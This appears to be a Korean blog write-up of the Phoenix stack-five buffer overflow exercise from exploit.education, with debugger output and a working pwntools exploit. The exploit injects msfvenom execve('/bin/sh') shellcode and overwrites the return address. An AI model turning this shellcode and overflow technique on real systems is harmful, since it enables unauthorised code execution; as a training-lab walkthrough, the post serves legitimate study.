시스템 해킹 & 보안

64bit 아키텍쳐 - BOF (쉘 코드 실행) - stack-five 문제 해결

ahhyun98 2025. 7. 18. 17:08

코드 분석

// BOF 이용햬 우리가 원하는 코드(쉘 코드)를 실행시켜보자.
#include <stdio.h> // #include는 미리 정의된 함수가 있는 라이브러리를 가져와 사용.
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"

char *gets(char *); // 라이브러리에 정의되어있는 gets 함수를 사용하겠다.

void start_level(){ // 사용자 정의 함수 start_level() 정의
	char buffer[128]; // 128바이트의 공간을 가지는 변수를 선언.
	gets(buffer); //유저가 입력한 입력 값을 buffer에 저장.
}

int main(int argc, char **argv){ //프로그램 실행시 실행되는 함수
	printf("%s\n",BANNER); // BANNER를 출력.
	start_level(); // start_level 함수를 호출.
}

 

쉘 코드

프로그램의 코드 조각 (어셈블리어)들이 모여서 만들어진 코드

 

어셈블리어를 가지고 특정한 행동을 하는 코드를 쉘 코드라고 부른다. 

 

command를 입력할 수 있는 shell을 띄우는 쉘 코드를 만들어서 실행한다. 

 

$python3
Python 3.13.2 (main, Feb 5 2025, 01:23:35) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
from pwn import *
pattern=cyclic(150)
print(pattern)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaam....'

 

offset 찾기

$gdb ./stack-five
GNU gdb (Debian 16.2-2) 16.2

pwndbg > run
Starting program: /opt/phoenix/amd64/stack-five
Welcome to phoenix/stack-five, brought to you by
https://exploit.education
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaa
Program received signal SIGSEGV, Segmentation fault.
0x00000000004005a3 in start_level ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off
]───────────────────────────────
RAX 0x7fffffffdc30 ◂—
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaza
RBX 0x7fffffffdd28 —▸ 0x7fffffffe0ec ◂— '/opt/phoenix/amd64/stack-five'
RCX 0x8080808080808080
RDX 0x7fffffffdc8f ◂— 'ayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma'
RDI 0x7fffffffdcc7 ◂— 0x10000000000
RSI 0xfefefefefefefeff
R8 0x7fffffffdc30 ◂—
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaza
R9 0xa0a0a0a0a0a0a0a ('\n\n\n\n\n\n\n\n')
R10 0x8080808080808080
R11 7
R12 0x7fffffffdd38 —▸ 0x7fffffffe10a ◂— 'CLUTTER_IM_MODULE=fcitx'
R13 0x4005a4 (main) ◂— push rbp
R14 0
R15 0
RBP 0x6261616962616168 ('haabiaab')
RSP 0x7fffffffdcb8 ◂— 'jaabkaablaabma'
RIP 0x4005a3 (start_level+22) ◂— ret



RIP : 이번에 실행할 코드의 주소
stack의 가장 위에 있는 주소를 꺼내게 됨.



pwndbg> nexti
Program received signal SIGSEGV, Segmentation fault.
0x00000000004005a3 in start_level ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off
]───────────────────────────────
RAX 0x7fffffffdc30 ◂—
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaza
RBX 0x7fffffffdd28 —▸ 0x7fffffffe0ec ◂— '/opt/phoenix/amd64/stack-five'
RCX 0x8080808080808080
RDX 0x7fffffffdc8f ◂— 'ayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma'
RDI 0x7fffffffdcc7 ◂— 0x10000000000
RSI 0xfefefefefefefeff
R8 0x7fffffffdc30 ◂—
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaaza
R9 0xa0a0a0a0a0a0a0a ('\n\n\n\n\n\n\n\n')
R10 0x8080808080808080
R11 7
R12 0x7fffffffdd38 —▸ 0x7fffffffe10a ◂— 'CLUTTER_IM_MODULE=fcitx'
R13 0x4005a4 (main) ◂— push rbp
R14 0
R15 0
RBP 0x6261616962616168 ('haabiaab')
RSP 0x7fffffffdcb8 ◂— 'jaabkaablaabma'
RIP 0x4005a3 (start_level+22) ◂— ret
────────────────────────────────────────[ DISASM / x86-64 / set emulate on
]────────────────────────────────────────
► 0x4005a3 <start_level+22> ret <0x6261616b6261616a>
↓
─────────────────────────────────────────────────────[ STACK
]──────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdcb8 ◂— '
jaabkaablaabma'
01:0008│ rdi-7 0x7fffffffdcc0 ◂— 0x616d6261616c /* 'laabma' */
02:0010│ 0x7fffffffdcc8 ◂— 0x100000000
03:0018│ 0x7fffffffdcd0 ◂— 1
04:0020│ 0x7fffffffdcd8 —▸ 0x7ffff7c24d62 (__libc_start_main+54) ◂— mov edi, eax
05:0028│ 0x7fffffffdce0 ◂— 0
06:0030│ 0x7fffffffdce8 —▸ 0x7fffffffdd20 ◂— 1
07:0038│ 0x7fffffffdcf0 ◂— 0
───────────────────────────────────────────────────[ BACKTRACE
]────────────────────────────────────────────────────
► 0 0x4005a3 start_level+22
1 0x6261616b6261616a None
2 0x616d6261616c None
3 0x100000000 None
4 0x1 None
5 0x7ffff7c24d62 __libc_start_main+54
6 0x0 None
─────────────────────────────────────────────────────

 

 

offset : 136

 

$ gdb ./stack-five

pwndbg> run
Starting program: /opt/phoenix/amd64/stack-five
Welcome to phoenix/stack-five, brought to you by
https://exploit.education
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A 136개 B 8개

Program received signal SIGSEGV, Segmentation fault.
0x00000000004005a3 in start_level ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off
]───────────────────────────────
RAX 0x7fffffffdc30 ◂—
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
RBX 0x7fffffffdd28 —▸ 0x7fffffffe0ec ◂— '/opt/phoenix/amd64/stack-five'
RCX 0x8080808080808080
RDX 0x7fffffffdc8f ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB'
RDI 0x7fffffffdcc1 ◂— 0x7fffffff00
RSI 0xfefefefefefefeff
R8 0x7fffffffdc30 ◂—
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
R9 0xa0a0a0a0a0a0a0a ('\n\n\n\n\n\n\n\n')
R10 0x8080808080808080
R11 1
R12 0x7fffffffdd38 —▸ 0x7fffffffe10a ◂— 'CLUTTER_IM_MODULE=fcitx'
R13 0x4005a4 (main) ◂— push rbp
R14 0
R15 0
RBP 0x4141414141414141 ('AAAAAAAA')
RSP 0x7fffffffdcb8 ◂— 'BBBBBBBB'
RIP 0x4005a3 (start_level+22) ◂— ret
────────────────────────────────────────[ DISASM / x86-64 / set emulate on
]────────────────────────────────────────
► 0x4005a3 <start_level+22> ret <0x4242424242424242>
↓
─────────────────────────────────────────────────────[ STACK
]──────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdcb8 ◂— 'BBBBBBBB'
01:0008│ rdi-1 0x7fffffffdcc0 —▸ 0x7fffffff0000 ◂— 0
02:0010│ 0x7fffffffdcc8 ◂— 0x100000000
03:0018│ 0x7fffffffdcd0 ◂— 1
04:0020│ 0x7fffffffdcd8 —▸ 0x7ffff7c24d62 (__libc_start_main+54) ◂— mov edi, eax
05:0028│ 0x7fffffffdce0 ◂— 0
06:0030│ 0x7fffffffdce8 —▸ 0x7fffffffdd20 ◂— 1
07:0038│ 0x7fffffffdcf0 ◂— 0
───────────────────────────────────────────────────[ BACKTRACE
]────────────────────────────────────────────────────
► 0 0x4005a3 start_level+22
1 0x4242424242424242 None
2 0x7fffffff0000 None
3 0x100000000 None
4 0x1 None
5 0x7ffff7c24d62 __libc_start_main+54
6 0x0 None
─────────────────────────────────────────────────────────────────────────

 

shellcode 만들기

https://shell-storm.org/shellcode/index.html

 

Shellcodes database for study cases

API It is very straightforward to communicate with this API. Just send a simple GET method. The "s" argument contains your keyword. http://shell-storm.org/api/?s= Use "*" for multiple keywords search. /?s= * * The output should be like this: :::: :::: ::::

shell-storm.org

 

https://shell-storm.org/shellcode/files/shellcode-603.html

 

Linux/x86-64 - execve(/bin/sh); - 30 bytes

 

shell-storm.org

 

system()

execve()

 

이 두 함수는 shell에서 명령어를 실행하는 함수.

system(”ls -la”) → 이러면 나옴.

 

system (”/bin/sh”) → 쉘을 얻을 수 있음.

 

 

$msfvenom -p linux/x64/exec CMD="/bin/sh" -f python
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 44 bytes
Final size of python file: 231 bytes
buf = b""
buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
buf += b"\x54\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x08"
buf += b"\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56"
buf += b"\x57\x54\x5e\x6a\x3b\x58\x0f\x05"


$ gdb ./stack-five
pwndbg> run
Starting program: /opt/phoenix/amd64/stack-five
Welcome to phoenix/stack-five, brought to you by
https://exploit.education
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaa..


pwndbg> search "aaaabaaacaaada"

Searching for byte: b'aaaabaaacaaada'
stack-five 0x600020 'aaaabaaacaaada'
[anon_7ffff7e91] 0x7ffff7e91528
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaaya
[stack] 0x7fffffffdc30
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaaya

 

익스플로잇

stack-five.py

from pwn import * # pwntools 라이브러리에 정의되어있는 함수들을 모두 사용.

p=process("/opt/phoenix/amd64/stack-five") # 프로세스를 생성하고 접근 권한을 p에 저장.

shellcode = b""
shellcode += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
shellcode += b"\x54\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x08"
shellcode += b"\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56"
shellcode += b"\x57\x54\x5e\x6a\x3b\x58\x0f\x05"

shellcode_addr=p64(0x7fffffffdc30)

payload= shellcode + b'A' * (136 - len(shellcode)) + shellcode_addr

p.sendline(payload) #프로그램 입력에 payload를 입력하고 엔터까지 입력.

p.interactive() # 우리가 직접 프로그램과 상호작용할 수 있는 셸을 띄우겠다.

 

 

안되는 이유?

gdb에서 실행하는 shellcode_addr이랑 python 파일에서 실행하는 shellcode_addr이 다르기 때문에.

 

해결

stack-five.py

from pwn import * # pwntools 라이브러리에 정의되어있는 함수들을 모두 사용.

p=process("/opt/phoenix/amd64/stack-five") # 프로세스를 생성하고 접근 권한을 p에 저장.

pause();

shellcode = b""
shellcode += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
shellcode += b"\x54\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x08"
shellcode += b"\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56"
shellcode += b"\x57\x54\x5e\x6a\x3b\x58\x0f\x05"

shellcode_addr=p64(0x7fffffffdc50)

payload= shellcode + b'A' * (136 - len(shellcode)) + shellcode_addr

p.sendline(payload) #프로그램 입력에 payload를 입력하고 엔터까지 입력.

p.interactive() # 우리가 직접 프로그램과 상호작용할 수 있는 셸을 띄우겠다.

 

 

 

=> 드디어 성공!! 

=> 이렇게 되면 악성코드를 설치하거나 시스템에 있는 내용들을 탈취해올 수 있다. 

 

 

 

이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.

모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.